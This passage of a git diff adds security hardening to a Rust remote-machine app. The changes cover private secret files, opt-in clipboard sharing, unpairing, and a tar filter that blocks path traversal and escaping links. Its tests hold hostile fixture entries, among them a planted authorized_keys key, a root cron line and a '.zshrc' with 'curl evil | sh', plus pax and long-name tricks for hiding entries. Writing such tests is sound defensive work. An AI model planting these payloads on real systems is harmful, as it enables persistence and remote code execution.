+ let _ = std::fs::remove_file(&path);
+ }
+
+ #[cfg(unix)]
+ #[test]
+ fn files_are_private_from_the_start() {
+ use std::os::unix::fs::PermissionsExt;
+ let root = std::env::temp_dir().join(format!("muxin-private-{}", std::process::id()));
+ let _ = std::fs::remove_dir_all(&root);
+ let mode = |p: &Path| std::fs::metadata(p).unwrap().permissions().mode() & 0o777;
+ let dir = root.join("muxin");
+ let secrets = dir.join("secrets.json");
+ write_atomic(&secrets, b"{}").unwrap();
+ assert_eq!((mode(&dir), mode(&secrets)), (0o700, 0o600));
+ // A temporary file left over from before, readable by anyone, isn't.
+ std::fs::write(dir.join("secrets.tmp"), b"old").unwrap();
+ std::fs::set_permissions(dir.join("secrets.tmp"), std::fs::Permissions::from_mode(0o644)).unwrap();
+ write_atomic(&secrets, b"{\"token\":\"x\"}").unwrap();
+ assert_eq!(mode(&secrets), 0o600);
+ // A folder that was already there keeps its permissions.
+ std::fs::set_permissions(&dir, std::fs::Permissions::from_mode(0o755)).unwrap();
+ write_atomic(&dir.join("state.json"), b"{}").unwrap();
+ assert_eq!(mode(&dir), 0o755);
+ let _ = std::fs::remove_dir_all(&root);
+ }
+
+ #[test]
+ fn the_clipboard_is_shared_only_once_turned_on() {
+ assert!(!Settings::default().share_clipboard);
+ let read = |text: &str| toml::from_str::<Settings>(text).unwrap().share_clipboard;
+ assert!(!read("github_poll_seconds = 30\n"));
+ // Turned on before it was off by default: it stays on.
+ assert!(read("share_clipboard = true\n"));
+ }
}
diff --git a/src/fleet/clipboard.rs b/src/fleet/clipboard.rs
index 7709d63..509b929 100644
--- a/src/fleet/clipboard.rs
+++ b/src/fleet/clipboard.rs
@@ -1,8 +1,8 @@
-//! The shared clipboard: text copied on this computer can be pasted on the
-//! machines (Linux desktops, Macs), and text copied on one of them lands here
-//! and on the others. Each machine's agent runs `muxen-agent clip` on a link
-//! channel (see agent/src/clipboard.rs); the window watches this computer's
-//! clipboard and calls `local_changed`.
+//! The shared clipboard, once it's turned on in Settings: text copied on this
+//! computer can be pasted on the machines (Linux desktops, Macs), and text
+//! copied on one of them lands here and on the others. Each machine's agent
+//! runs `muxen-agent clip` on a link channel (see agent/src/clipboard.rs); the
+//! window watches this computer's clipboard and calls `local_changed`.
use std::collections::HashMap;
use std::sync::{Arc, Mutex, OnceLock};
@@ -21,6 +21,8 @@ const MAX: usize = 256 * 1024;
struct Shared {
/// The text last copied anywhere (so nothing echoes back).
last: Mutex<String>,
+ /// What a program in a terminal here last put on the clipboard (see `keep_here`).
+ kept: Mutex<Option<String>>,
/// Machines sharing the clipboard: their link and channel.
peers: Mutex<HashMap<String, (Arc<Link>, u32)>>,
/// Text copied on a machine, for this computer's clipboard.
@@ -29,7 +31,7 @@ struct Shared {
fn shared() -> &'static Shared {
static SHARED: OnceLock<Shared> = OnceLock::new();
- SHARED.get_or_init(|| Shared { last: Mutex::new(String::new()), peers: Mutex::new(HashMap::new()), incoming: broadcast::channel(16).0 })
+ SHARED.get_or_init(|| Shared { last: Mutex::new(String::new()), kept: Mutex::new(None), peers: Mutex::new(HashMap::new()), incoming: broadcast::channel(16).0 })
}
/// Text copied on a machine, to put on this computer's clipboard.
@@ -41,7 +43,7 @@ pub fn subscribe() -> broadcast::Receiver<String> {
/// Something new was copied on this computer: offer it to every machine.
#[cfg_attr(not(feature = "gui"), allow(dead_code))]
pub fn local_changed(text: &str) {
- if text.is_empty() || text.len() > MAX {
+ if text.is_empty() || text.len() > MAX || kept(text) {
return;
}
{
@@ -56,6 +58,24 @@ pub fn local_changed(text: &str) {
}
}
+/// A program in one of the terminals here put this on the clipboard (OSC 52):
+/// it stays on this computer, so `local_changed` doesn't offer it to the machines.
+#[cfg_attr(not(feature = "gui"), allow(dead_code))]
+pub fn keep_here(text: &str) {
+ *shared().kept.lock().unwrap() = Some(text.to_string());
+}
+
+/// Whether this is the terminal program's copy, seen once (copying the same
+/// text yourself afterwards shares it as usual).
+fn kept(text: &str) -> bool {
+ let mut kept = shared().kept.lock().unwrap();
+ let is = kept.as_deref() == Some(text);
+ if is {
+ *kept = None;
+ }
+ is
+}
+
/// Something new was copied on a machine: here, and the other machines.
fn remote_changed(from: &str, text: String) {
if text.is_empty() || text.len() > MAX {
@@ -123,3 +143,18 @@ pub fn stop_all() {
pub fn sharing(machine_id: &str) -> bool {
shared().peers.lock().unwrap().contains_key(machine_id) && link::current(machine_id).is_some()
}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ #[test]
+ fn a_terminal_programs_copy_isnt_offered_to_the_machines() {
+ keep_here("from a program");
+ assert!(kept("from a program"));
+ // The same text copied by hand afterwards is shared as usual.
+ assert!(!kept("from a program"));
+ keep_here("osc 52");
+ assert!(!kept("something else"));
+ }
+}
diff --git a/src/fleet/connection.rs b/src/fleet/connection.rs
index 8190768..000cc62 100644
--- a/src/fleet/connection.rs
+++ b/src/fleet/connection.rs
@@ -2,7 +2,8 @@
//! live ssh link, or one ssh call at a time; and turning direct connections on
//! and off.
-use std::sync::Arc;
+use std::collections::HashMap;
+use std::sync::{Arc, Mutex, OnceLock};
use std::time::{Duration, Instant};
use serde::Serialize;
@@ -10,6 +11,7 @@ use serde_json::json;
use super::sessions::agent;
use super::{Engine, direct, link};
+use crate::config::MachineSpec;
#[derive(Debug, Clone, Serialize)]
pub struct Connection {
@@ -162,8 +164,9 @@ impl Engine {
}
agent::ensure(&spec, probe.as_ref()).await?;
if !enabled {
- if let Some(l) = link::get(&spec).await {
- let _ = l.request(json!({ "op": "unpair" }), Duration::from_secs(30)).await;
+ // Only this app: others paired with the machine keep their direct connections.
+ if let (Ok(app), Some(l)) = (direct::app_fingerprint(), link::get(&spec).await) {
+ let _ = l.request(json!({ "op": "unpair", "client": app }), Duration::from_secs(30)).await;
}
direct::save(&spec.id, None)?;
link::reset(&spec.id);
@@ -201,6 +204,42 @@ impl Engine {
}
Ok(out)
}
+
+ /// A machine that was paired left Muxin: its agent forgets this app too
+ /// (only this one). In the background and best-effort: a machine that
+ /// can't be reached is removed all the same. `unpaired` waits for it.
+ pub(crate) fn unpair_removed(self: &Arc<Self>, spec: MachineSpec) {
+ if spec.is_local() || self.demo_world().is_some() {
+ return;
+ }
+ let id = spec.id.clone();
+ let task = self.runtime().spawn(async move {
+ let ask = async {
+ let app = direct::app_fingerprint().ok()?;
+ let l = link::get(&spec).await?;
+ l.request(json!({ "op": "unpair", "client": app }), Duration::from_secs(15)).await.ok()
+ };
+ if tokio::time::timeout(Duration::from_secs(20), ask).await.ok().flatten().is_none() {
+ tracing::debug!("couldn't unpair {} on its way out", spec.name);
+ }
+ link::reset(&spec.id);
+ });
+ unpairing().lock().unwrap().insert(id, task);
+ }
+
+ /// Waits for a removed machine's unpairing (a command about to exit would cut it short).
+ pub async fn unpaired(&self, machine_id: &str) {
+ let task = unpairing().lock().unwrap().remove(machine_id);
+ if let Some(task) = task {
+ let _ = task.await;
+ }
+ }
+}
+
+/// Removed machines being unpaired, by id.
+fn unpairing() -> &'static Mutex<HashMap<String, tokio::task::JoinHandle<()>>> {
+ static UNPAIRING: OnceLock<Mutex<HashMap<String, tokio::task::JoinHandle<()>>>> = OnceLock::new();
+ UNPAIRING.get_or_init(Default::default)
}
/// Tailscale reaches the machine at one of its local-network addresses: it's
@@ -209,3 +248,25 @@ fn same_network(d: &super::model::TailnetDevice, lan: &[String]) -> bool {
// Tailscale's own direct address isn't in what we keep; it's read fresh.
super::tailscale::cached_direct_addr(&d.dns_name).is_some_and(|a| lan.iter().any(|l| a.starts_with(&format!("{l}:"))))
}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+ use crate::config::Paths;
+
+ #[tokio::test(flavor = "multi_thread")]
+ async fn a_removed_machine_leaves_no_pairing_behind() {
+ let tmp = std::env::temp_dir().join(format!("muxin-unpair-{}", std::process::id()));
+ let _ = std::fs::remove_dir_all(&tmp);
+ std::fs::create_dir_all(&tmp).unwrap();
+ // Disconnected, so nothing reaches out to it.
+ std::fs::write(tmp.join("config.toml"), "[[machine]]\nname = \"Paired\"\nhost = \"paired.invalid\"\ndisconnected = true\n").unwrap();
+ let engine = Engine::new(Paths::resolve(Some(tmp.clone()), None), false);
+ let pairing = direct::Paired { fingerprint: "f".repeat(64), host: "paired.invalid".into(), port: 47821, lan: Vec::new(), tailnet: Vec::new() };
+ direct::save("paired", Some(pairing)).unwrap();
+ engine.remove_machine("paired").unwrap();
+ engine.unpaired("paired").await;
+ assert!(engine.machine("paired").is_none() && direct::paired("paired").is_none());
+ let _ = std::fs::remove_dir_all(&tmp);
+ }
+}
diff --git a/src/fleet/direct.rs b/src/fleet/direct.rs
index 8058dac..11dd46e 100644
--- a/src/fleet/direct.rs
+++ b/src/fleet/direct.rs
@@ -101,7 +101,7 @@ fn identity() -> Result<(CertificateDer<'static>, PrivateKeyDer<'static>), Strin
if let (Ok(cert), Ok(key)) = (std::fs::read(&cert_path), std::fs::read(&key_path)) {
return Ok((CertificateDer::from(cert), PrivateKeyDer::Pkcs8(PrivatePkcs8KeyDer::from(key))));
}
- std::fs::create_dir_all(&dir).map_err(|e| e.to_string())?;
+ crate::config::create_private_dir(&dir).map_err(|e| e.to_string())?;
let made = rcgen::generate_simple_self_signed(vec!["muxen-app".to_string()]).map_err(|e| e.to_string())?;
let (cert, key) = (made.cert.der().to_vec(), made.key_pair.serialize_der());
{
diff --git a/src/fleet/files.rs b/src/fleet/files.rs
index 1db0212..25c1e50 100644
--- a/src/fleet/files.rs
+++ b/src/fleet/files.rs
@@ -119,7 +119,7 @@ impl Engine {
let me = self.clone();
self.runtime().spawn(async move {
let started = Instant::now();
- let result = me.run_copy(id, &from, &req.dir, &names, &to, &req.to_dir, &cancel).await;
+ let result = me.run_copy(id, &from, &req.dir, &names, &to, &req.to_dir, &cancel, false).await;
match &result {
Ok(bytes) => {
let secs = started.elapsed().as_secs_f64().max(0.001);
@@ -133,8 +133,9 @@ impl Engine {
}
/// Copies and waits; returns the bytes moved (the tar stream's size).
+ /// `no_git`: leave out every .git (a workspace pull).
#[allow(clippy::too_many_arguments)]
- pub(crate) async fn run_copy(self: &Arc<Self>, id: u64, from: &MachineSpec, dir: &str, names: &[String], to: &MachineSpec, to_dir: &str, cancel: &AtomicBool) -> Result<u64, String> {
+ pub(crate) async fn run_copy(self: &Arc<Self>, id: u64, from: &MachineSpec, dir: &str, names: &[String], to: &MachineSpec, to_dir: &str, cancel: &AtomicBool, no_git: bool) -> Result<u64, String> {
let src_place = format!("{}:{}", from.id, dir);
let dst_place = format!("{}:{}", to.id, to_dir);
self.op_log(id, format!("{} → {}", names.iter().map(|n| format!("{src_place}/{n}")).collect::<Vec<_>>().join(", "), dst_place));
@@ -143,6 +144,11 @@ impl Engine {
self.op_log(id, format!("{} to copy.", util::bytes(t)));
}
let mut dst = Sink::open(self, to, to_dir).await?;
+ // Only what was asked for reaches the other machine, whatever the first one sends.
+ let mut check = super::tar_filter::TarFilter::new(names);
+ if no_git {
+ check = check.without_git();
+ }
let (mut done, started) = (0u64, Instant::now());
let mut last = Instant::now();
loop {
@@ -153,7 +159,17 @@ impl Engine {
}
match src.next().await {
Ok(Some(chunk)) => {
- dst.write(&chunk).await?;
+ let pass = match check.push(&chunk) {
+ Ok(pass) => pass,
+ Err(e) => {
+ src.stop();
+ dst.stop();
+ return Err(e);
+ }
+ };
+ if !pass.is_empty() {
+ dst.write(&pass).await?;
+ }
src.ack(chunk.len());
done += chunk.len() as u64;
if last.elapsed() >= Duration::from_millis(250) {
@@ -171,6 +187,24 @@ impl Engine {
}
}
}
+ let end = match check.finish() {
+ Ok(end) => end,
+ Err(e) => {
+ dst.stop();
+ return Err(e);
+ }
+ };
+ dst.write(&end).await?;
+ let skipped = check.skipped();
+ if check.kept() == 0 && !skipped.is_empty() {
+ dst.finish().await?;
+ return Err(format!("Nothing was copied: {} points outside what was asked for.", skipped.join(", ")));
+ }
+ if !skipped.is_empty() {
+ let shown: Vec<&str> = skipped.iter().take(5).map(String::as_str).collect();
+ let more = if skipped.len() > 5 { format!(" and {} more", skipped.len() - 5) } else { String::new() };
+ self.op_log(id, format!("Not copied (outside what was asked for, or a link pointing out of it): {}{more}", shown.join(", ")));
+ }
dst.finish().await?;
self.op_progress(id, OpProgress { done, total: Some(done), rate: None });
Ok(done)
diff --git a/src/fleet/mod.rs b/src/fleet/mod.rs
index ea51270..e7788ab 100644
--- a/src/fleet/mod.rs
+++ b/src/fleet/mod.rs
@@ -18,6 +18,7 @@ pub mod ports;
pub mod procs;
pub mod report;
pub mod sessions;
+pub mod tar_filter;
pub mod tailscale;
pub mod usage;
pub mod wake;
diff --git a/src/fleet/sessions/agent.rs b/src/fleet/sessions/agent.rs
index caa5e4d..4efc9e2 100644
--- a/src/fleet/sessions/agent.rs
+++ b/src/fleet/sessions/agent.rs
@@ -42,8 +42,10 @@ pub fn target(probe: Option<&ProbeResult>) -> Option<String> {
Some(format!("{os}-{arch}"))
}
-/// The folder of agent builds: in the app bundle, next to the binary, or
-/// `dist/agents` in a source checkout (`scripts/build-agents.sh`).
+/// The folder of agent builds: in the app bundle, next to the binary, or (a
+/// debug build) `dist/agents` in the source checkout it was built from
+/// (`scripts/build-agents.sh`). Not any folder above the binary: one planted
+/// there (`/tmp/dist/agents`) would be uploaded to every machine.
pub fn builds_dir() -> Option<PathBuf> {
if let Some(dir) = std::env::var_os("MUXEN_AGENTS_DIR") {
return Some(PathBuf::from(dir));
@@ -55,12 +57,19 @@ pub fn builds_dir() -> Option<PathBuf> {
return Some(candidate);
}
}
- dir.ancestors().map(|a| a.join("dist/agents")).find(|c| c.is_dir())
+ #[cfg(debug_assertions)]
+ {
+ let checkout = PathBuf::from(concat!(env!("CARGO_MANIFEST_DIR"), "/dist/agents"));
+ if checkout.is_dir() {
+ return Some(checkout);
+ }
+ }
+ None
}
/// Where the build for `target` is.
fn build_path(target: &str) -> Result<PathBuf, String> {
- let dir = builds_dir().ok_or("Muxin can't find its agent builds (run scripts/build-agents.sh in a source checkout).")?;
+ let dir = builds_dir().ok_or("Muxin can't find its agent builds (run scripts/build-agents.sh in a source checkout, or set MUXEN_AGENTS_DIR).")?;
let exe = if target.starts_with("windows") { ".exe" } else { "" };
Ok(dir.join(format!("muxen-agent-{target}{exe}")))
}
diff --git a/src/fleet/tar_filter.rs b/src/fleet/tar_filter.rs
new file mode 100644
index 0000000..73e4692
--- /dev/null
+++ b/src/fleet/tar_filter.rs
@@ -0,0 +1,487 @@
+//! Checks a copy's tar stream on its way through the app. The machine the
+//! files come from was asked to pack some names; this keeps only those, as
+//! plain files, folders, and links that stay inside them, so a machine that
+//! sends more can't write anything else on the other side (an
+//! .ssh/authorized_keys next to the file you copied, say).
+//!
+//! It follows the tar formats GNU tar and bsdtar write: ustar headers, pax
+//! extended headers (including a `size` that overrides the header's, so this
+//! and the `tar -x` on the other side agree on where each entry ends) and GNU
+//! long names. Anything it can't follow stops the copy rather than being
+//! passed on unread.
+
+use std::collections::HashSet;
+
+const BLOCK: usize = 512;
+/// The most a pax or GNU long-name header may hold.
+const MAX_META: u64 = 1 << 20;
+
+pub struct TarFilter {
+ names: Vec<String>,
+ /// Leaves out every .git (a workspace pull: its config could run commands here).
+ no_git: bool,
+ pending: Vec<u8>,
+ state: State,
+ /// Extended headers (with their data) for the next entry, forwarded with it if it's kept.
+ meta: Vec<u8>,
+ path: Option<String>,
+ link: Option<String>,
+ size: Option<u64>,
+ /// Files passed so far: a hard link may point at one of these.
+ files: HashSet<String>,
+ skipped: Vec<String>,
+ kept: usize,
+ ended: bool,
+}
+
+enum State {
+ Header,
+ /// An entry's data (padding included), forwarded or dropped.
+ Data { left: u64, keep: bool },
+ /// An extended header's data, read whole before the entry it describes.
+ Meta { kind: u8, size: u64, left: u64, data: Vec<u8> },
+}
+
+impl TarFilter {
+ /// `names`: what the machine was asked to pack, as they appear at the top of the stream.
+ pub fn new(names: &[String]) -> TarFilter {
+ TarFilter {
+ names: names.to_vec(),
+ no_git: false,
+ pending: Vec::new(),
+ state: State::Header,
+ meta: Vec::new(),
+ path: None,
+ link: None,
+ size: None,
+ files: HashSet::new(),
+ skipped: Vec::new(),
+ kept: 0,
+ ended: false,
+ }
+ }
+
+ /// Also leaves out anything in or named .git, at any depth.
+ pub fn without_git(mut self) -> TarFilter {
+ self.no_git = true;
+ self
+ }
+
+ /// Takes the next bytes of the stream; returns those to pass on.
+ pub fn push(&mut self, input: &[u8]) -> Result<Vec<u8>, String> {
+ let mut out = Vec::with_capacity(input.len());
+ self.pending.extend_from_slice(input);
+ let mut at = 0;
+ while !self.ended {
+ let available = self.pending.len() - at;
+ match std::mem::replace(&mut self.state, State::Header) {
+ State::Data { left, keep } => {
+ let n = left.min(available as u64) as usize;
+ if keep {
+ out.extend_from_slice(&self.pending[at..at + n]);
+ }
+ at += n;
+ if left > n as u64 {
+ self.state = State::Data { left: left - n as u64, keep };
+ break;
+ }
+ }
+ State::Meta { kind, size, left, mut data } => {
+ let n = left.min(available as u64) as usize;
+ data.extend_from_slice(&self.pending[at..at + n]);
+ self.meta.extend_from_slice(&self.pending[at..at + n]);
+ at += n;
+ if left > n as u64 {
+ self.state = State::Meta { kind, size, left: left - n as u64, data };
+ break;
+ }
+ data.truncate(size as usize);
+ self.read_meta(kind, &data)?;
+ }
+ State::Header => {
+ if available < BLOCK {
+ break;
+ }
+ let block: [u8; BLOCK] = self.pending[at..at + BLOCK].try_into().unwrap();
+ at += BLOCK;
+ self.header(&block, &mut out)?;
+ }
+ }
+ }
+ if self.ended {
+ at = self.pending.len();
+ }
+ self.pending.drain(..at);
+ Ok(out)
+ }
+
+ /// The stream ended: the archive's end marker to pass on, or why it's incomplete.
+ pub fn finish(&mut self) -> Result<Vec<u8>, String> {
+ if !self.ended && (!matches!(self.state, State::Header) || !self.pending.is_empty() || !self.meta.is_empty()) {
+ return Err("The files from the other machine stopped in the middle of an entry.".into());
+ }
+ self.ended = true;
+ Ok(vec![0; 2 * BLOCK])
+ }
+
+ /// What was left out (as the stream named it).
+ pub fn skipped(&self) -> &[String] {
+ &self.skipped
+ }
+
+ /// How many entries were passed on.
+ pub fn kept(&self) -> usize {
+ self.kept
+ }
+
+ fn header(&mut self, block: &[u8; BLOCK], out: &mut Vec<u8>) -> Result<(), String> {
+ if block.iter().all(|&b| b == 0) {
+ self.ended = true;
+ return Ok(());
+ }
+ if !checksum_ok(block) {
+ return Err("The files from the other machine aren't a valid tar stream.".into());
+ }
+ let kind = block[156];
+ let header_size = number(&block[124..136]).ok_or("The files from the other machine have an unreadable size.")?;
+ // A pax size is the next entry's, as tar reads it; extended headers keep their own.
+ let size = match kind {
+ b'x' | b'L' | b'K' | b'g' => header_size,
+ _ => self.size.take().unwrap_or(header_size),
+ };
+ let padded = size.div_ceil(BLOCK as u64) * BLOCK as u64;
+ match kind {
+ b'x' | b'L' | b'K' => {
+ if size > MAX_META {
+ return Err("The files from the other machine have an oversized header.".into());
+ }
+ self.meta.extend_from_slice(block);
+ self.state = if padded > 0 { State::Meta { kind, size, left: padded, data: Vec::new() } } else { State::Header };
+ if padded == 0 {
+ self.read_meta(kind, &[])?;
+ }
+ }
+ // A pax header for the whole archive: not passed on (nothing here needs it).
+ b'g' => self.state = if padded > 0 { State::Data { left: padded, keep: false } } else { State::Header },
+ // Old GNU sparse files carry extra header blocks this doesn't follow.
+ b'S' => return Err("The files from the other machine use a tar format Muxin doesn't copy (GNU sparse files).".into()),
+ _ => {
+ let ustar = &block[257..263] == b"ustar\0";
+ let name = self.path.take().unwrap_or_else(|| match (ustar, field(&block[345..500])) {
+ (true, prefix) if !prefix.is_empty() => format!("{prefix}/{}", field(&block[0..100])),
+ _ => field(&block[0..100]),
+ });
+ let link = self.link.take().unwrap_or_else(|| field(&block[157..257]));
+ let meta = std::mem::take(&mut self.meta);
+ let keep = self.allowed(kind, &name, &link);
+ if keep {
+ self.kept += 1;
+ out.extend_from_slice(&meta);
+ out.extend_from_slice(block);
+ if matches!(kind, b'0' | 0 | b'7') {
+ self.files.insert(clean(&name).unwrap_or_default().join("/"));
+ }
+ } else {
+ self.skipped.push(name);
+ }
+ self.state = if padded > 0 { State::Data { left: padded, keep } } else { State::Header };
+ }
+ }
+ Ok(())
+ }
+
+ fn read_meta(&mut self, kind: u8, data: &[u8]) -> Result<(), String> {
+ let text = |d: &[u8]| String::from_utf8_lossy(d.split(|&b| b == 0).next().unwrap_or_default()).into_owned();
+ match kind {
+ b'L' => self.path = Some(text(data)),
+ b'K' => self.link = Some(text(data)),
+ _ => {
+ for (key, value) in pax_records(data).ok_or("The files from the other machine have an unreadable pax header.")? {
+ match key.as_str() {
+ "path" => self.path = Some(value),
+ "linkpath" => self.link = Some(value),
+ "size" => self.size = Some(value.trim().parse().map_err(|_| "The files from the other machine have an unreadable size.")?),
+ _ => {}
+ }
+ }
+ }
+ }
+ Ok(())
+ }
+
+ /// Plain files and folders under the names asked for; links only to
+ /// something inside the same one.
+ fn allowed(&self, kind: u8, name: &str, link: &str) -> bool {
+ let Some(parts) = clean(name) else { return false };
+ if parts.is_empty() || !self.names.iter().any(|n| n == parts[0]) {
+ return false;
+ }
+ if self.no_git && parts.contains(&".git") {
+ return false;
+ }
+ match kind {
+ b'0' | 0 | b'7' | b'5' => true,
+ b'2' => link_stays_inside(&parts, link),
+ b'1' => clean(link).is_some_and(|l| self.files.contains(&l.join("/"))),
+ _ => false,
+ }
+ }
+}
+
+/// A path's parts without "." ones; None for an absolute one or one with "..".
+fn clean(path: &str) -> Option<Vec<&str>> {
+ if path.starts_with('/') {
+ return None;
+ }
+ let parts: Vec<&str> = path.split('/').filter(|p| !p.is_empty() && *p != ".").collect();
+ (!parts.contains(&"..")).then_some(parts)
+}
+
+/// Whether a link at `parts` pointing at `target` resolves inside the
+/// top-level name it's under (never above it, never absolute). A link that is
+/// the top-level name itself points elsewhere, so it isn't kept.
+fn link_stays_inside(parts: &[&str], target: &str) -> bool {
+ if target.is_empty() || target.starts_with('/') {
+ return false;
+ }
+ let mut at: Vec<&str> = parts[..parts.len() - 1].to_vec();
+ for p in target.split('/') {
+ match p {
+ "" | "." => {}
+ ".." => {
+ if at.len() <= 1 {
+ return false;
+ }
+ at.pop();
+ }
+ p => at.push(p),
+ }
+ }
+ at.first() == parts.first()
+}
+
+/// A header field: the text up to its first NUL.
+fn field(bytes: &[u8]) -> String {
+ String::from_utf8_lossy(bytes.split(|&b| b == 0).next().unwrap_or_default()).into_owned()
+}
+
+/// A numeric header field: octal text, or GNU's base-256 for big values.
+fn number(bytes: &[u8]) -> Option<u64> {
+ if bytes[0] & 0x80 != 0 {
+ if bytes[0] & 0x40 != 0 {
+ return None; // negative
+ }
+ let mut n: u64 = (bytes[0] & 0x3f) as u64;
+ for &b in &bytes[1..] {
+ n = n.checked_mul(256)?.checked_add(b as u64)?;
+ }
+ return Some(n);
+ }
+ let text = std::str::from_utf8(bytes).ok()?.trim_matches(|c: char| c == '\0' || c == ' ');
+ if text.is_empty() {
+ return Some(0);
+ }
+ u64::from_str_radix(text, 8).ok()
+}
+
+fn checksum_ok(block: &[u8; BLOCK]) -> bool {
+ let Some(want) = number(&block[148..156]) else { return false };
+ let (mut unsigned, mut signed) = (0u64, 0i64);
+ for (i, &b) in block.iter().enumerate() {
+ let b = if (148..156).contains(&i) { b' ' } else { b };
+ unsigned += b as u64;
+ signed += b as i8 as i64;
+ }
+ want == unsigned || want as i64 == signed
+}
+
+/// pax records: "<length> <key>=<value>\n", repeated.
+fn pax_records(mut data: &[u8]) -> Option<Vec<(String, String)>> {
+ let mut records = Vec::new();
+ while !data.is_empty() && data[0] != 0 {
+ let space = data.iter().position(|&b| b == b' ')?;
+ let len: usize = std::str::from_utf8(&data[..space]).ok()?.parse().ok()?;
+ if len <= space + 1 || len > data.len() || data[len - 1] != b'\n' {
+ return None;
+ }
+ let record = &data[space + 1..len - 1];
+ let eq = record.iter().position(|&b| b == b'=')?;
+ records.push((String::from_utf8_lossy(&record[..eq]).into_owned(), String::from_utf8_lossy(&record[eq + 1..]).into_owned()));
+ data = &data[len..];
+ }
+ Some(records)
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ /// One ustar header (and its data) the way tar writes it.
+ fn entry(name: &str, kind: u8, link: &str, data: &[u8]) -> Vec<u8> {
+ let mut h = [0u8; BLOCK];
+ h[..name.len()].copy_from_slice(name.as_bytes());
+ h[100..107].copy_from_slice(b"0000644");
+ h[108..115].copy_from_slice(b"0000000");
+ h[116..123].copy_from_slice(b"0000000");
+ h[124..135].copy_from_slice(format!("{:011o}", data.len()).as_bytes());
+ h[136..147].copy_from_slice(b"00000000000");
+ h[156] = kind;
+ h[157..157 + link.len()].copy_from_slice(link.as_bytes());
+ h[257..263].copy_from_slice(b"ustar\0");
+ h[263..265].copy_from_slice(b"00");
+ h[148..156].copy_from_slice(b" ");
+ let sum: u32 = h.iter().map(|&b| b as u32).sum();
+ h[148..155].copy_from_slice(format!("{sum:06o}\0").as_bytes());
+ let mut out = h.to_vec();
+ out.extend_from_slice(data);
+ out.resize(out.len().div_ceil(BLOCK) * BLOCK, 0);
+ out
+ }
+
+ fn pax(records: &[(&str, &str)]) -> Vec<u8> {
+ let mut body = Vec::new();
+ for (k, v) in records {
+ let rest = format!(" {k}={v}\n");
+ let mut len = rest.len() + 1;
+ while format!("{len}{rest}").len() != len {
+ len += 1;
+ }
+ body.extend_from_slice(format!("{len}{rest}").as_bytes());
+ }
+ entry("./PaxHeaders/x", b'x', "", &body)
+ }
+
+ /// Runs a stream through the filter in odd-sized pieces, like the link delivers it.
+ fn filter(names: &[&str], stream: &[u8]) -> (Vec<u8>, Vec<String>) {
+ let mut f = TarFilter::new(&names.iter().map(|s| s.to_string()).collect::<Vec<_>>());
+ let mut out = Vec::new();
+ for chunk in stream.chunks(733) {
+ out.extend(f.push(chunk).unwrap());
+ }
+ out.extend(f.finish().unwrap());
+ (out, f.skipped().to_vec())
+ }
+
+ /// The names a real `tar -t` lists in a stream.
+ fn listed(stream: &[u8]) -> Vec<String> {
+ use std::io::Write;
+ let mut child = std::process::Command::new("tar")
+ .arg("-tf")
+ .arg("-")
+ .stdin(std::process::Stdio::piped())
+ .stdout(std::process::Stdio::piped())
+ .spawn()
+ .unwrap();
+ child.stdin.take().unwrap().write_all(stream).unwrap();
+ let out = child.wait_with_output().unwrap();
+ String::from_utf8_lossy(&out.stdout).lines().map(|l| l.trim_end_matches('/').to_string()).collect()
+ }
+
+ #[test]
+ fn keeps_what_was_asked_for() {
+ let mut s = entry("./app/", b'5', "", b"");
+ s.extend(entry("./app/run.sh", b'0', "", b"echo hi\n"));
+ s.extend(entry("./app/current", b'2', "run.sh", b""));
+ s.extend(entry("./app/again", b'1', "./app/run.sh", b""));
+ s.extend(entry("./notes.txt", b'0', "", &vec![b'x'; 5000]));
+ s.extend([0u8; 1024]);
+ let (out, skipped) = filter(&["app", "notes.txt"], &s);
+ assert!(skipped.is_empty(), "{skipped:?}");
+ assert_eq!(out, s);
+ assert_eq!(listed(&out), ["./app", "./app/run.sh", "./app/current", "./app/again", "./notes.txt"]);
+ }
+
+ #[test]
+ fn drops_everything_else() {
+ let mut s = entry("./app/ok", b'0', "", b"fine\n");
+ for bad in [
+ entry("./.ssh/authorized_keys", b'0', "", b"ssh-ed25519 AAAA attacker\n"),
+ entry("/etc/cron.d/x", b'0', "", b"* * * * * root sh\n"),
+ entry("./app/../.zshrc", b'0', "", b"curl evil | sh\n"),
+ entry("./app/home", b'2', "/home/user", b""),
+ entry("./app/up", b'2', "../../.ssh", b""),
+ entry("./app", b'2', "elsewhere", b""),
+ entry("./app/hard", b'1', "./.ssh/authorized_keys", b""),
+ entry("./app/disk", b'4', "", b""),
+ entry("./application/x", b'0', "", b"not app\n"),
+ ] {
+ s.extend(bad);
+ }
+ s.extend([0u8; 1024]);
+ let (out, skipped) = filter(&["app"], &s);
+ assert_eq!(listed(&out), ["./app/ok"]);
+ assert_eq!(skipped.len(), 9, "{skipped:?}");
+ }
+
+ #[test]
+ fn follows_pax_and_gnu_names_and_sizes() {
+ // A pax path moves an innocent-looking entry somewhere else: judged by the pax path.
+ let mut s = pax(&[("path", ".ssh/authorized_keys")]);
+ s.extend(entry("./app/readme", b'0', "", b"key\n"));
+ // A GNU long name, the same way.
+ s.extend(entry("././@LongLink", b'L', "", b"./.bashrc\0"));
+ s.extend(entry("./app/x", b'0', "", b"evil\n"));
+ // A pax size larger than the header's: what looks like data to the header
+ // is a hidden entry to tar; this must skip it as data too.
+ let hidden = entry("./.profile", b'0', "", b"evil\n");
+ s.extend(pax(&[("size", &hidden.len().to_string())]));
+ s.extend(entry("./app/blob", b'0', "", b""));
+ s.extend(&hidden);
+ // A long name inside the folder is fine.
+ let long = format!("./app/{}", "d/".repeat(80) + "f.txt");
+ s.extend(pax(&[("path", &long)]));
+ s.extend(entry("./app/short", b'0', "", b"ok\n"));
+ s.extend([0u8; 1024]);
+ let (out, skipped) = filter(&["app"], &s);
+ assert_eq!(listed(&out), ["./app/blob".to_string(), long]);
+ assert_eq!(skipped, [".ssh/authorized_keys", "./.bashrc"]);
+ }
+
+ #[test]
+ fn a_real_tar_stream_passes_unchanged() {
+ let dir = std::env::temp_dir().join(format!("muxen-tar-filter-{}", std::process::id()));
+ let _ = std::fs::remove_dir_all(&dir);
+ let deep = dir.join("proj").join("a".repeat(60)).join("b".repeat(60));
+ std::fs::create_dir_all(&deep).unwrap();
+ std::fs::write(deep.join("c".repeat(80) + ".txt"), "long name\n").unwrap();
+ std::fs::write(dir.join("proj/data.bin"), vec![7u8; 300_000]).unwrap();
+ std::fs::create_dir_all(dir.join("proj/empty")).unwrap();
+ #[cfg(unix)]
